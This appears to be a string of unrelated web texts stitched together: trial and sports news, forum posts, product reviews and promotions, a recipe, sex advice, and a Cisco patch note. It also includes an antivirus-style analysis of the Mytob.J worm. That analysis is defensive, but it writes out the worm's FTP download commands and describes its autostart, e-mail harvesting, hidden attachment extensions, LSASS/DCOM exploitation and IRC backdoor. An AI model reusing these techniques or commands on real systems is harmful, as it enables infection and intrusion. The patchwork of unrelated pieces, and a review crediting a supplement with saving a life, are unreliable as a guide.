A Charles County jury handed down a guilty verdict Thursday afternoon in the third trial for a 2001 murder.
Attorneys delivered their closing arguments Wednesday morning in the murder trial of Bladensburg resident Jeffrey Edward Allen, 51, who has been convicted twice previously of first-degree murder for the death of Port Tobacco resident John Butler. Two previous convictions were overturned on appeal after defense lawyers cited errors in jury instructions from Circuit Judge Robert C. Nalley.
Allen stabbed Butler 19 times during a fight the two men had and then drove off in Butler's car.
Allen had gone home with Butler the night before after meeting him in an area of Fifth and H Streets in Washington, D.C., known as "The Stroll" that homosexual men would "cruise" looking for sexual partners. The two had sex before falling asleep the night before. The next morning, Allen woke up unsure of where he was, leading to the confrontation between the two that ultimately turned deadly.
After fleeing the scene in Butler's car, Allen crashed near the intersection of routes 6 and 425. He was found wandering shirtless and bloody by Wayne Carter of Nanjemoy, who he told he had been in a fight.
Allen also has been convicted previously of second-degree murder and robbery. In light of their pending decision, Nalley told the jury Wednesday to deliberate on the following: The state must prove that Allen robbed Butler, killed him, that the intent to rob Butler was born either before or during the murder and that Butler was killed during the course of the robbery.
Charles County Assistant State's Attorney Jeremy Widder's closing statement before the jury was direct and revisited the facts presented during the course of the three-day trial that he described as "sometimes emotional and a little gruesome." Widder said the evidence proves there was no confrontation between Butler and Allen until Allen made it so.
"All [Butler] did was stand up and say, 'Don't take my car,'" Widder said. He reopened the photos of Butler's mutilated body at the crime scene to refresh the jury's memory and said the pictures from the home that day show Allen had pursued Butler.
"This did not just happen in one location," Widder said. "[Allen] chased [Butler] all over the house."
Widder said Allen "kept stabbing and stabbing until [Butler] had no fight left in him." By Allen's own admission, Widder said, Butler cried out for his mother as Allen stabbed him repeatedly.
Widder said Allen's intent to rob Butler of his car was established when he took the man's car keys and announced that he would "drive this [expletive] out of here myself" rather than waiting for the ride back to the District that the two had arranged the previous evening.
The evidence, Widder said, "is clearly and frankly overwhelming. ... It points to one verdict: a verdict of guilty."
Janet Hart, Allen's defense attorney, maintained that her client never had the intention to rob or steal from Butler. Hart said the setup of Butler's small home had a wall dividing the kitchen from the living room. On the kitchen side sat Butler's keys on a stove. Allen had the chance to make a "straight shot" out of the back door of the home without waking Butler and did not take it, Hart said, proving he did not want to start anything.
"If all he wanted was the car, he could have grabbed the keys and been gone in a moment," Hart said. "He had an intent to get a ride home. ... He was stranded there. He had no money, no telephone ... the only way for Mr. Allen to get home was by way of Mr. Butler."
Hart also said many of Butler's wounds were very shallow and said the state did not present a diagram of the wounds on his body. This, Hart said, proved that Allen was "just swinging the knife" rather than holding Butler down and stabbing him. Hart also made reference to the coroner's discovery of cocaine in Butler's system during the autopsy, consistent with Allen's earlier statements that he had witnessed the man smoking crack cocaine when they arrived home the night before.
"The most important stuff was said from the very beginning. Mr. Allen told Mr. Carter he'd been in a fight," Hart said. "When he called 911, he said, 'He came at me.' That was said from the very beginning, and over time his explanation unfolded and became more detailed. You can see that none of this would have happened if Mr. Butler hadn't tried to stop a robbery that wasn't happening."
Hart said Allen's actions immediately after the incident prove his innocence.
"A guilty man does not say ... that he wants to contact the police," Hart said. "He goes hitchiking down the road or into the woods. ... Even when it's not helpful to him, Mr. Allen tells the truth."
The jury went into deliberation Wednesday afternoon and went home that night without reaching a verdict.
Speaking Thursday afternoon over the phone, Charles County State's Attorney Anthony B. Covington (D) said he was pleased by the outcome of the trial.
"I'm gratified that a third jury found [Allen] guilty," Covington said. "I am confident the appellate courts will not find any reversible error in this third trial. I would add that I really hope this is the last time we have to try this case. This is a tough thing for the victim's family to go through. It makes it harder to get closure."

Selected viruses, spyware, and other threats: sorted alphabetically
Mytob.J is a typical mass mailing e-mail worm, the size is 55808 bytes and the worm is runtime compressed by MEW, repacked with MEWBundle, patched with PE_Patch, protected with Morphine (a polymorphic protector), and finanlly patched again with PE_Patch.
Note: In the following text, %windir% denotes Windows directory (e.g. C:\WINDOWS) and %system% denotes Windows System directory (e.g. C:\WINDOWS\SYSTEM32) as they differ on various versions of Microsoft Windows.
Installation and Autostart Techniques
Upon execution, the worm copies itself into the System32 folder as "msgmr.exe".
It also drops the component, HELLMSN.EXE, in the root directory, which is usually C:\.
This dropped component is detected by NOD32 as W32/Mytob.I (MSN Messenger Spreading Component)
Mytob.J creates self-copies directly in the root directory:
The worm creates a mutex "H-E-L-L-B-O-T" to avoid multiple running instances of the worm on one machine.
The worm adds the following registry key to the registry to make sure that it runs every time windows is started:
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
"Win TaskLoader" = "msgmr.exe"
Note: The worm watches continuously for the presence of these registry keys and recreates them if they are not present anymore.
E-mail harvesting
The worm scans all fixed disks and collects e-mail addresses out of files which match one of the following file extensions:
*.wab, *.adb, *.tbb, *.dbx, *.asp, *.php, *.sht, *.htm, *.pl
However, these extensions are pretty much useless, because the worm has a bug regarding stringcat and compare with the WIN32_FIND_DATA results.
That said: The worm will always open and scan a file for email addresses when at least one character matches one of the characters in the file extension list in the correct order.
In technical terms, that means the worm compares the file extension via 'instring function/substring function'.
Example: The worm will search for e-mail addresses in files where the file extension matches *.htm, *.ht, *.h for instance.
Note: Mytob.J collects also e-mail addresses from the Windows Address Book and from the following folders:
%Windir%\Temporary Internet Files
%Userprofile%\Local Settings\Temporary Internet Files
DNS resolving
The worm performs DNS e-mail-exchange-queries to find an appropriate mail server for each domain it tries to send itself to. If this DNS request for the mailserver fails, the worm tries to guess the e-mail server adding in front of the domain name the following prefixes:
E-mail Sender
The worm generates the sender's e-mail addresses using the following list of names:
adam, alex, alice, andrew, anna, bill, bob, brenda, brent, brian, britney, bush, claudia, dan, dave, david, debby, fred, george, helen, jack, james, jane, jerry, jim, jimmy, joe, john, jose, julie, kevin, leo, linda, lolita, madmax, maria, mary, matt, michael, mike, peter, ray, robert, sam, sandra, serg, smith, stan, steve, ted, tom
at which it adds randomly, domain names (the domain names are encrypted and stored in the worm):
aol.com cia.gov fbi.gov hotmail.com juno.com msn.com yahoo.com
It uses its own SMTP (Simple Mail Transfer Protocol) engine to mass-mail copies of itself to other e-mail addresses.
E-mail subjects
Mytob.J selects randomly an eMail subject out of the following list:
Server Report
Mail Transaction Failed
Mail Delivery System
Good day
{ nothing }
{ random }
Note: The e-mail subjects are encrypted and stored in the worm.
Message Body
The e-mail contains one of the following message texts:
Mail transaction failed. Partial message is available.
The message contains Unicode characters and has been sent as a binary attachment.
The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
The original message was included as an attachment.
Here are your banks documents.
Note: The worm may also send e-mails containing a blank message body or random strings.
e-mail Attachments
The worm attaches one of the following file names with a self-copy:
{ random name }
with one of the following file extensions:
The worm may also attach itself as a ZIP file. The file inside the ZIP archive may have two extensions, the first chosen from the following list:
The second extension is chosen from the following list and is separated from the first extension by a huge amount of spaces to hide the executable file extension:
Example: attachment "text.zip" may contain the file "text.txt { spaces }.scr"
The worm avoids e-mail addresses which contain parts of the following list:
.gov, .mil, abuse, accoun, acketst, admin, anyone, arin., avp, be_loyal:, berkeley,
borlan, bsd, bugs, certific, contact, example, fcnz, feste, fido, foo., fsf., gnu, gold-certs,
google, gov., help, hotmail, iana, ibm.com, icrosof, icrosoft, ietf, info, inpris, isc.o,
isi.e, kernel, linux, listserv, math, mit.e, mozilla, msn., mydomai, nobody, nodomai,
noone, not, nothing, ntivi, page, panda, pgp, postmaster, privacy, rating, rfc-ed, ripe.,

Note: the first missing character should match, for instance, "Microsoft" as well as "microsoft".

Exploiting technologies
The worm generates random IP addresses and attempts to connect to port 445 of the generated IP's to exploit the LSASS buffer overflow vulnerability [see MS04-011]. If the vulnerability exploit is successful, it executes code (shellcode) on the target machine, which instructs it to connect back to the source in order to retrieve a copy of the worm. (This copy is uploaded to the target machine by the created FTP Server-Connection using die.txt FTP-Commands file)
The worm also takes advantage of the DCOM RPC vulnerability [see MS03-026] for spreading.
The FTP command file contains the following ftp commands:
open %IP% %TCP port%
user hell rulez
get < worm executable name >
The worm executes FTP.EXE locally on the compromised system to retrieve a copy of the worm from the connecting system, and starts this file after downloading.
Other Details
The worm also provides IRC-Backdoor functionality with the following functions:
Downloading files
Downloading new worm updates
Executing files
Providing uptime information to the remote controller
Providing information about the worm variant to the remote controller
Notifying IRC Channels/Operator via private message
Restarting the computer

Firms urged to use £6m grant money - or lose it
Last updated at 10:30, Friday, 08 February 2013
West Cumbrian firms have been urged to use £6.6m allocated to help create over 1,000 jobs - or risk it being returned to central government.
The 'Investing in Business' programme was launched in September by Britain's Energy Coast with hopes that it would stimulate growth in Copeland and Allerdale and unlock a further £31m in private investment.
But today new BEC chief executive Steven Szostak revealed that so far just one company had been given money from fund – a grant of £45,000.
He made an impassioned plea to a meeting of the Britain's Energy Coast Business Cluster for more people to come forward and claim the money or it could be lost.
"This September we're facing the embarrassing risk that this money will go back to central government and we cannot have money going from west Cumbria back to government," he said.
"I've been involved in grant schemes and finding grants for many years and you'd think you would be inundated with people asking for money, but it seems with this grant scheme that nobody wants it," he added.
So far 50 people have asked questions about the scheme, seven have asked for more information and one has seen its grant approved – figures which Mr Szostak described as "shocking".
He added: "I spoke to the successful company to see if they could shed light on it and they were disappointed it took four weeks, but four weeks is not a lot to get £45,000 in your back pocket for a project that you were probably going to do anyway."
The 'Investing in Business' programme is aimed at supporting capital spending in the manufacturing, processing and engineering companies, especially those in the nuclear and renewable energy supply chain.
Grants of £10,000 upwards are available for businesses operating in Allerdale and Copeland, or for those looking to move to the area. The deadline for applications is September 30.
Mr Szostak said that the scheme worked out at £10,000 funding per job, but could be higher.
Businesses should be able to write an expression of interest "in their sleep" and could get help with the business plan that would be needed to secure funding.
"We are looking for companies that looking at capital spending – such as buying plant machinery – and projects that are ready or almost ready or on the starting blocks and maybe people just want to take the financial sting out of the investment.
"You do not have to demonstrate a financial need for the grant – we are not about backing losers but backing winners."
BECBC chairman, Sean Balmer, who is commercial director of the NDA said Government grants for business support was Olympic sports funding – if it wasn't used well "and you don't get the gold medals you won't get the money next time round and it will go to somebody else."

That throw to B. Marshall was the best throw I've seen from a QB since the great you know who...
Moore has FAR exceeded my expectations and has honestly been pretty good this year given the situation. No possible way we can pass on a QB in the 1st though. You dont go with decent at that position when you have a shot at great.
snoozer of a thread if you ask me.
lets see how the next two weeks go.
Moore is the best qb the dolphins have had since Marino yes better then Pennington...
Matt Moore is an EXCELLENT backup and transitional starter. A good security blanket for when we draft our new starter.
So you just start the same thread with the same title after a mediocre performance?
If you haven't gotten it by now, give it a few more years.

Assuming we grab someone to add to the receiver corp we will have a respectable top 4. Fasano, while a good player, doesn't fit into our new scheme and would be better suited into a 2 TE offense. Clay is a number 2 TE/H-back/Back up fullback and he is what he as a roll player. Egnew has yet to show anything as well. At A&M Sherman was a big fan of using 4 wide and Philbin actually used Finley in the slot or out wide more often than he did on the line. The only reason Philbin uses a tight end over another wide receiver seems to be the added versatility (and in our case because Fasano was better than anyone not named Bess, Hartline, or Bush at pass catching).
One other thing to consider is that it would mean our running back would have to block more often. Bush, if he returns, is a sub par blocker who is better off running routes on pass plays than staying in to block. Thomas is a decently good blocker, isn't that why we drafted him? Miller had the knock on him coming out of college that he is bad at blocking and receiving. Lane would be interesting and could see time if Bush leaves in the same way the Broncos were using Hester.

The scene was anecdotal even before clothing was considered—parlor furniture, a wooden staircase, and burlesque-show curtains set the stage for Alice + Olivia's spring '11 line. The right-wing presentation was eccentric-romantic: short hemlines on party dresses heavy with beading, cropped jackets crusted with metallic embellishment, worn denim shorts and bohemian paisley prints. On the left, daytime casual took a '70s turn with collared blouses, flare leg pants, and a sparkling shawl over a bandeau top and thick yellow belt. Footwear was a free-for-all, with leopard spots, sparkles, and alligator skin balanced by solids—but the real show-stopper was the nails. Multi-colored checks and solid gold press-ons highlighted models' fingertips and gave these beauties an extra dose of magic. Not even Alcide the werewolf (yes, he was there) could resist!

Four ways to get great TV sound
Options for every room, lifestyle, and budget
Former Crutchfield staff writer Barry Montgomery studied English and psychology at Indiana University and received a master's degree in English literature from the University of Virginia.
If you've recently bought a high-definition TV, you're enjoying an amazing picture — but odds are that its speakers can't do full justice to that gorgeous image. In this article, we outline four different routes you can take to greatly improve your TV's sound, ranging from very simple, space-efficient options to full-blown home theater systems.
1. "Sound bar" solutions
These sleek "sound bar"-style speakers perfectly complement a flat-panel TV, and require minimal space and wiring. Most models even offer built-in amplification, which means the only other gear you'll need is a DVD or Blu-ray Disc™ player and a subwoofer for deep bass roar and rumble. (Some of these models even include a subwoofer.) [Shop for a soundbar.]
|Single-speaker sound bars can deliver room-filling sound without taking up much space.
This type of system works well when:
- You have very limited room for speakers or other equipment. The sound bar solution requires fewer pieces of gear than any of the other options discussed below, and you may be able to wall-mount the main speaker right below your TV.
- Very simple setup is key. You only need a couple of cables to hook up these systems. You won't have to run wires from one side of your room to the other, either.
See our article on choosing a sound bar for more information.
2. Stereo speaker systems
|Stereo speaker systems offer much better sound from your TV, and work well in rooms where surround speakers aren't an option.
Adding a stereo speaker setup to your TV is a great way to get dynamic, engaging sound in small rooms and tight spaces. They require relatively little wiring and offer easy speaker placement options. Plus, you can choose the setup that suits you best: get a stereo receiver with all the connections you need for your components; choose a pair of bookshelf speakers to save space or upgrade to floor-standing speakers for rich sound with your music sources; or add on a powered subwoofer for thrilling bass with your home movies.
A stereo speaker system might be your best option if:
- You have a small room. These systems are ideal for a smaller living room, or spaces like a den, bedroom, or office. Their compact size makes them a good fit visually, and they can produce enough sound to fill such rooms.
- You want very simple setup, without running speaker wires across your room. With only two speakers and a receiver, they require relatively little wiring.
3. Pre-matched surround sound systems
A pre-matched surround sound system can deliver genuine, multi-speaker surround sound without a lot of bulk. They include just five compact, room-friendly speakers, a control center (usually with a built-in DVD or Blu-ray Disc® player), and a subwoofer you can tuck in a corner. Some models also offer radio tuners, built-in iPod® docks, and wireless connectivity for rear speakers. [Shop for a pre-matched surround sound system.]
|Surround sound systems typically offer the simplest and least expensive way to get true multi-speaker surround sound. (Not shown here: two rear speakers and a subwoofer.)
These systems make sense if:
- You don't have a lot of space for components and speakers. With small speakers and compact control centers, these systems make a great choice for small- to medium-sized living rooms.
- You want some of the latest technologies. Some pre-matched systems include some pretty cool capabilities, like streaming movies from Netflix, built-in iPod® docks, or add-on multi-room speaker systems.
- You want true home theater sound with simplified setup. These compact systems require hookup that's slightly more involved than the two audio options discussed above. But if you're okay with running wires from one side of your room to the other, they provide the simplest — and often least expensive — way to achieve true surround sound. Many come with color-coded connection wires, and you can usually have them up and running in less than an hour. Some models also offer wireless rear speakers — the control center transfers audio signals wirelessly to the two back speakers, so you won't have to run speaker cable from the front to the back of your room.
For more information, see our article on choosing and setting up a pre-packaged home theater system.
4. Component surround sound systems
A system built from separate components gives you the best possible home theater sound, but also generally requires the most space. These systems typically involve between five and seven small to large speakers, depending on the individual system. You'll also need a subwoofer, a home theater receiver, and a disc player (like a DVD or Blu-ray player). And keep in mind that you'll need to run wires across your room to hook up your surround speakers.
|Component surround sound systems give you top-notch audio performance, and usually offer greater flexibility, too. (This system requires rear speakers, not pictured here.)
A component surround sound system is a smart way to go when:
- You have a large room. Nothing fills a big room with sound like a set of full-sized speakers driven by a dedicated receiver.
- You do a lot of music listening. Music presents any audio system with just as great a challenge as movie sound. Larger speakers and a good receiver let you experience your favorite recordings with especially powerful and nuanced sound.
- You want maximum flexibility. A lot of options open up when you go the component route. Many home theater receivers allow multi-room music or PC networking possibilities. You can also make creative substitutions, like using in-wall speakers (this requires involved installation but saves lots of space). Down the road, you'll also enjoy more potential for system expansion.
For more information, see our article on the components you need for home theater.

News last month about the feasibility of warp drive captivated trekkies and physicists alike. I have always admired Gene Roddenberry who created the Star Trek TV series in 1966. Not only did he produce and advise on the Star Trek shows and movies, he was also highly regarded as a futurist.

Great Robe Was so glad to find this robe. I've been looking for a full-length zip front robe for years. The material is soft and silky, but still warm enough to keep me warm on a cold winter night. Bought the red and turquoise, and may have to purchase the purple and green, just to make sure I have enough just in case it is dropped from stock. God Forbid!!! April 25, 2015
I have enjoyed this robe very much. It gets softer with use. I enjoy my robe so much that I purchased this robe for aChristmas gift for a friend who is having surgery soon. January 12, 2015
Finally Found It! We've been looking all over for this robe. Thanks for a wonderful cozy product. Winter won't seem so bad after all! January 7, 2015
Lovely and comfortable robe I'm looking forward to ordering another spruce green robe as soon as they become available again. The fit is perfect ... roomy and yet not bulky, sleeves can be pushed up to elbows and remain in place, it's very pretty with nice fabric, and easy to put on and remove. The zipper is smooth, and I love the long length of the robe. The one disappointment was that when I wanted to order a second robe, the green wasn't available. My second choice, purple, came with a hard, rough zipper with a sharp corner that dug into my neck. It also was a little less roomy in the hip area than the green one. I had to return the purple, and I just hope that it was just a one-time fluke. January 6, 2015
Gorgeous Purple Bathrobe & soaps The robe is very pretty (thinner than I expected, however). It fits nicely and is very comfortable. The soaps smell wonderful! Can't wait to lather up with them. January 4, 2015
Cozy Comfy Velour Robe!! This item is exactly as desired!! It is cozy, warm, comfortable, great length (as shown), sleeves could be a teensy bit longer but still love the length!! Pockets seem deep enough to enjoy using!! Color is beautiful (I got the purple), zipper works well, and just overall is a great item!! Would get more if money allowed!! January 2, 2015
Too thin for New England This is my fourth velour robe from VCS over the last twenty years. While I love the color, there is a chemical smell that is awful when it first came out of the bag, but seems to be better as it airs out. The fabric is soft and silky, but this one is way thinner than the previous robes. It is certainly not warm enough for our New England winter. I am hoping it be just right in the spring. December 28, 2014
Red Velour Robe Very nice robe. It is light weight and somewhat stretchy. Beautiful color of red. December 28, 2014

Trying to get to grips with André Villas-Boas is difficult. Since the High Court refused to overturn the injunction and the officers took our binoculars away, we're limited to what we can gather from his regular appearances in the press. Not that 'limited' is quite the right word, since writing about the squatting Portuguese has become something of an obsession for the nation's hacktocracy.
Barely five minutes into his Tottenham career, the sight of a team taking a few games to get the hang of things - gasp! - and a new signing not being thrown straight into the team - swoon! - has provoked a succession of comically unbalanced articles and headlines, culminating in last week's defiantly bonkers pronunciation that he had three games to save his job. Inconsiderately, Spurs won the first of these quite comfortably, and so a more subtle angle will be needed next week. Look out for '...and sources close to Hugo Lloris indicate that he is deeply concerned that his new manager's name anagrams to AVOIDABLE SNARLS'.
The Villas-Boas we're given exudes a vague sense of intellectual peevishness, the air of a man who might happily devote his enormous brain to creating a time machine, just so he could travel back to a row he had last Thursday, and unload all the zingers that popped into his head a day too late. This contrasts neatly with the chumminess of Harry Redknapp, and also his former boss and compatriot José Mourinho, who took the edge off his foreign cleverness with smouldering charisma and entertaining extremes of dudgeon and wit. Redknapp made the press his friends, and Mourinho made them his fangirls; Villas-Boas seems genuinely not to understand why they exist, much less why they keep bothering him.
More unforgivable is his devotion to one of the great evils of our age: management speak. He's precisely the kind of man who dabbles in unnecessary TLAs, is AVB, and it's easy to imagine 'incentivise' or 'stakeholders' falling out of his mouth. Last week it emerged that he'd applied, in 2010, to replace Owen Coyle at Burnley, but was passed over thanks to his incomprehensible jargon. Then-chief executive Paul Fletcher was concerned that his players might not understand what to do if Villas-Boas asked them to 'solidificate', and with good reason, since it literally isn't a word.
(In support of his decision, Fletcher cited Tommy Docherty, who apparently never said anything to his players his milkman wouldn't understand; as distressing as their subsequent relegation under Brian Laws must have been, at least they weren't put through the hell of a missing pint of gold top.)
Of course, it wasn't always thus. Villas-Boas' arrival on these shores was greeted as the dawning of a brave new footballing era. Roman Abramovich had paid Porto just over a third of a Carroll to snare him, and glowing profile pieces appeared, recounting his birth (grown in a vat by a cloistered society of Lobanovskyi-worshipping geneticists), childhood (aged two, he wrote 'vertical enganche' in Alphabetti spaghetti), and precociousness (aged 16, he broke into a securely guarded compound to interrogate Bobby Robson)*. Chelsea fans went squirrelly over a leaked scouting dossier that promised unheard-of sophistication. Here was the boss of the future, football-manager-as-designed-by-Steve Jobs. All hail the iGaffer.
* One of these is true, almost.
Then the results didn't come, and the maven became the moron. Stories of his peculiarity began to drip from a dressing-room with limited interest in or patience for Villas-Boas' methods. Curious habits, derisive nicknames, a willingness to entertain the notion that Frank Lampard might not be the greatest
human being midfielder in the world: manna to a greedy press pack. A rather disappointing nadir came when Ian McGarry, speaking on the BBC, described Villas-Boas as 'borderline Aspergers', showing the nation that he knows as much about mental health as he does the transfer market.
This is not to defend Villas-Boas' time at Chelsea - he got the job badly wrong in a lot of ways - or to suggest that he's not, at times, a bit silly. But the idea that he's a humanity-repulsing oddball, as opposed to a decent-if-callow manager that cocked up a difficult task, has taken hold and stuck with remarkable tenacity, and there's already a dread momentum to his Tottenham reign. Huge great elephant traps are being dug, then filled with sharpened pencils and poisoned pens, and Villas-Boas is skipping blithely towards them, head filled with Powerpoint and pressing ratios. Kippered, just for being a slightly cold fish.
What he needs is an interlocutor. A mouthpiece. Somebody to stand between him and the nasty men with dictaphones who are out to make him look foolish, somebody to smooth over the chippiness and break the management speak into easily-digestible chunks. If Tony Blair was right, and the media are a feral beast, then you need a man who knows just where on the tummy they like to be tickled. Somebody, in fact, just like Bournemouth's new director of football. Because you know where you are with Harry Redknapp. He's so damnably straightforward, his name doesn't yield any decent anagrams at all.

Posted by alloriginal on May 21, 2013
we LOVE Emergen-C in our house, which may be why we're so darned healthy! I take a packet to work with me each day and sip it over several hours. My wife and daughter each take a packet when they get home from work. When we feel an illness coming on, we repeat the dose until the bug has been knocked out. The vitamin c in this is in ascorbate form (fully reacted with minerals), meaning that the drink is non-acidic and easily absorbed. This is a remarkable product, worth every penny. There are numerous Emergen-C flavors; this is my favorite. I believe that nutritional supplements saved my life. I've tried a lot of products, and I know what works and what doesn't. My reviews are honest, straighforward, and based on my experience. Read my other reviews to quickly learn from my three decades of research and experimentation.

En español | Female orgasms are like laughter: A comedian may be funny, but he or she does not "make" us laugh. Instead, we release laughter from deep within ourselves when the conditions feel right. So rather than trying to "give" your partner an orgasm, try focusing on what allows her to have one. These six suggestions can help:
See also: Quiz: How much do you really know about love and sex?
1. Don't aim for perfect timing. On TV and in movies and pornography, women always seem to have orgasms during intercourse. That's more fantasy than reality. In real sex, only about one-fourth of women are consistently orgasmic during intercourse. The rest require stimulation of the clitoris to reach orgasm.
Even prolonged intercourse seldom provides enough clitoral stimulation for orgasm. Most women need a little help from your hand, tongue or vibrator. Unless your partner specifically requests intense touch, caress her clitoris very gently. It contains as many touch-sensitive nerves as the head of the penis, but they're packed into an even smaller area. As a result, even gentle caresses may feel too intense for many women. Discuss this. If she doesn't enjoy direct clitoral touch, caress around the spot.
2. Touch her all over. From the scalp to the soles of the feet, every square inch of the body is a sensual playground. Yet too many men focus on a few corners and overlook the rest. Touch her all over. Think of sex as whole-body massage that eventually includes the genitals. Whole-body massage produces deep relaxation, which helps women (and men) have orgasms. Massage her gently from head to toe. Try massage lotion (available at bath and body shops). Some areas that can feel surprisingly erotic include the scalp, ears, face, neck, feet and — who knew? — the backs of the knees.

3. Slow down. Extended sensual warm-up time helps women reach orgasm. Compared to men, most women need considerably more time to warm up to genital play. So forget the wham-bam approach; when making love, do everything "half-speed ahead." Sex therapists recommend at least 30 minutes of kissing, cuddling and whole-body sensual caressing before going all the way.

Why couldn't the potato chip be beautiful? A work of art? An architectural design element?
Behold: The Edible Glass Potato Chip
This chip is stunning. It's see-through like no other food. It has the distinct crunch and flavor of a potato chip, but in an unexpected space-age form.
This is molecular gastronomy brought home. It involves potato stock, potato starch, and a slow-dried gel. The first couple of steps are a breeze, but I warn you in advance: you must have patience to bring these to fruition. The last few steps require that you dehydrate the gel and then deep fry the chips in oil (like the real ones). But the result is oh-so-worth-it (every calorie, too).
The original recipe was created Hamid Salimian, the chef at Diva at the Met. I improved the recipe by using a squeeze bottle to create more uniform potato chips. I also experimented with adding herbs like rosemary to the recipe which is a great way to bring your own twist to the recipe.
Step 1: Ingredients
Pre-heat oven to 375 degrees F
8 Yukon Gold Potatoes
High quality finishing salt or Kosher Salt
1/2 Cup
Olive Oil
4 Cups Water
4 Tbsp Potato Starch
Optional- Fresh herbs/ Rosemary
Squeeze Bottle
Impressive, most impressive.
The potatos, though, seasoned and baked, would do a fine side-dish all by themselves. We made this: http://www.instructables.com/id/Cheesy-Potato-Heaven/?ALLSTEPS with the remaining potatos.
Try a pinch of artisan salt, if you have any. I'd love to test the chips with different flavor and color combos.
Good luck! Let me know how they turn out. :)
Loved your Instructable!
Can i use corn starch instead of potato starch?
thanks before.
So the oven has to be switched on for the whole night? Are you sure? Wont they get burnt, if not a total waste of electricity?
For this recipe to work, the gel must be completely dry. The method I used was to put the oven on the lowest possible temp. and dry the gel over night. I had total success this way and they didn't burn.
Everybody has a different oven. Mine took 8 hours to dry, but yours may only take a couple hours. I suggest keeping an eye on it. See what works best for you. You can try raising the temp on the oven to a higher degree to speed up the process, but be careful. The gel is delicate and it may dry out to much and shrivel.
Good luck!
After the gel is dry, fry the chips and then add any additional spices or seasonings. Speciality salts would work well, like high quality flake salts or chili salt for a little extra kick.

Greenville, NC (Sports Network) - Shane Carden threw for 305 yards and four touchdowns, as the East Carolina Pirates claimed a 48-28 win over the Houston Cougars in Conference USA play at Dowdy-Ficklen Stadium.
Three of Carden's touchdown passes went to Danny Webster, who finished with 46 yards on six catches. Vintavious Cooper rushed for 140 yards and a score to help the Pirates (6-4, 5-1 C-USA) keep pace in the conference's East Division and exact some revenge for last year's 56-3 loss to Houston.
The Cougars (4-5, 3-2) were unable to notch a fifth win in a span of six weeks, despite 341 yards and four touchdowns passing from David Piland.
East Carolina scored the game's first 28 points, all before halftime.
Carden got the scoring started with a six-yard touchdown pass to Webster at the 4:38 mark of the first quarter. Carden found Webster again for a 12-yard scoring strike with 2:13 to play in the opening frame. Those two hooked up for yet another TD, this time from nine yards to give the Pirates a 21-0 lead with 12:40 remaining in the second quarter.
ECU pushed its lead to 28-0 on Carden's eight-yard touchdown pass to Reese Wiggins with 48 seconds to play in the half.
However, UH got the ball back and moved quickly down the field, setting up Piland's 10-yard touchdown pass to Larry McDuffey with five seconds on the clock.
Early in the second half, Cougars wideout Shane Ros dove across the goal line after a 55-yard screen pass. However, he fumbled into the end zone on the dive and ECU regained possession.
That possession would last only four plays, as UH linebacker Derrick Mathews forced a fumble, which was recovered by teammate Everett Daniels at the ECU 34. On the next play from scrimmage, Piland tossed a 34-yard scoring strike to Isaiah Sweeney to make it a 28-14 game.
ECU kicker Warren Harvey gave the Pirates a bit more breathing room with a 28- yard field goal midway through the third quarter, and a 31-yarder early in the fourth. His second field goal came after a 16-play, 70-yard drive that took nearly eight minutes off the clock.
The Cougars still had some life, as Piland answered with a five-yard TD pass to Mark Roberts, capping a seven-play, 79-yard drive to make it a 34-21 game with 11:26 remaining.
However, ECU would put the game away with a couple of late scores. Following a turnover on downs, Cooper scored on a 22-yard run to push the margin to 41-21 with 2:47 to play. Less than a minute later, Ty Holmes stepped in front of a Piland pass and returned it 28 yards to the end zone. Houston added a late TD on Piland's 20-yard pass to Kenneth Farrow with two seconds on the clock.
East Carolina gained 31 first downs to Houston's 16, as the Pirates held a 550-369 advantage in total offense for the game.

Product Summary:
Oster® is the first blade manufacturer to incorporate AgION® antimicrobial into the surface of the CryogenX™ blades. AgION® antimicrobial uses silver, a powerful metal ion, as the active ingredient to effectively control the growth of bacteria, mold and mildew. This is important protection needed when clipping animals next to each other.
The CryogenX™ treatment is a tempering process which deep freezes these high-carbon steel blades to -300 degrees Fahrenheit. Innovative "grooves" have been added to the comb portion to allow for more heat dispersion. The end result is that they not only start out sharp, they stay sharper longer, thus requiring less sharpening than conventional blades.

For 25 years, one racquet has constantly redefined maximum control and feel on the court and became a legend in itself: the HEAD Prestige. To celebrate a quarter of a century of Prestige racquet excellence, HEAD is launching the revitalised YouTek™ IG Prestige series for 2012 and adding the innovative S-model to the range.
The Prestige philosophy can be summed up in three words: Heritage, Precision & Class. Tennis legends like Henri Leconte, Thomas Muster, Goran Ivanišević, Gustavo Kuerten or Marat Safin have been recommending the HEAD Prestige series initially introduced in 1987, and until today they praise that unique feel and sound which only tennis players, who have ever picked up a Prestige, can share.
In line with HEAD's YouTek™ philosophy of combining superior technologies to provide each player with the right racquet for his or her individual needs, the new S-Model will enable more tennis players to experience the unique playing characteristics of the legendary Prestige. The special setup and reduced weight of the Prestige S makes the model easier to play for a broader range of players. The racquet features a new 16/19 double grommet string pattern for a more comfortable game and better sound, while a unique new shaft construction yields improved ergonomic and enhanced torsional stiffness.
All of the new YouTek™ IG Prestige racquets are showcasing HEAD's Innegra™ and D3O™ technologies. Innegra™ belongs to the lightest performance fibres in the world today. In combination with carbon fibre, Innegra™ forms an ultra-tough, hybrid-composite frame structure. The material, also used in Formula 1, results in a racquet frame offering improved stability and increased shock absorption. Tests show that vibration on ball impact is reduced by up to 17 %, resulting in unique control and precision.
The new Prestige models are also visually stunning, designed with monochrome colour ways inspired by the traditional Prestige Red, textural contrasts, geometrical icons and tone-on-tone detailing.
The new YouTek™ Prestige will be visible on the courts of the Tennis Tour and available in Retail stores around the world in-time for the Australian Open, the first highlight of the 2012 tennis season.
To celebrate the 25th anniversary of the Prestige, HEAD will launch prior to the Australian Open a bespoke Facebook application and a series of Prestige videos. On http://www.youtube.com/headtennis, and http://www.facebook.com/headtennis tennis fans will have a chance to join legendary Prestige players of the past and today in celebrating the history of the racquet – and thanking the Prestige for Absolute Precision since 1987!

Release Notes for Cisco BBSM 5.2 Web Proxy Vulnerability Fix, Patch 5246
August 2004
These release notes describe the Cisco Building Broadband Service Manager (BBSM) 5.2 web proxy vulnerability patch and its installation. This patch (BBSM52Patch5246.exe) resolves a problem that enabled outside users to proxy through a BBSM server. Patch 5246 depends on BBSM 5.2 Service Pack 2 (SP2).
Cisco strongly recommends that you install this patch on all BBSM 5.2 SP2 servers.
